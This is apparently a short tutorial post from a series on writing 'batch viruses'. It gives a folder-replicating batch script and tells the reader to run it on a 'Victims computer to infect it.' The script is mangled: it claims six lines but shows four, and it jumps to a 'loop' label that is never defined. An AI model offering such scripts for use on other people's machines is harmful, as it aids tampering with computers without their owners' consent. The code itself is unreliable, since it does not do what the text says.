Batch file virus -2

Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch by learning how to misuse commands to create batch viruses.

Folder Replicator Virus:

Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code


cd C:\Documents and Settings\username\Desktop


md Virus

cd Virus

goto loop

2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.

3. Then run it on the Victims computer to infect it.

4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on.

Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code.
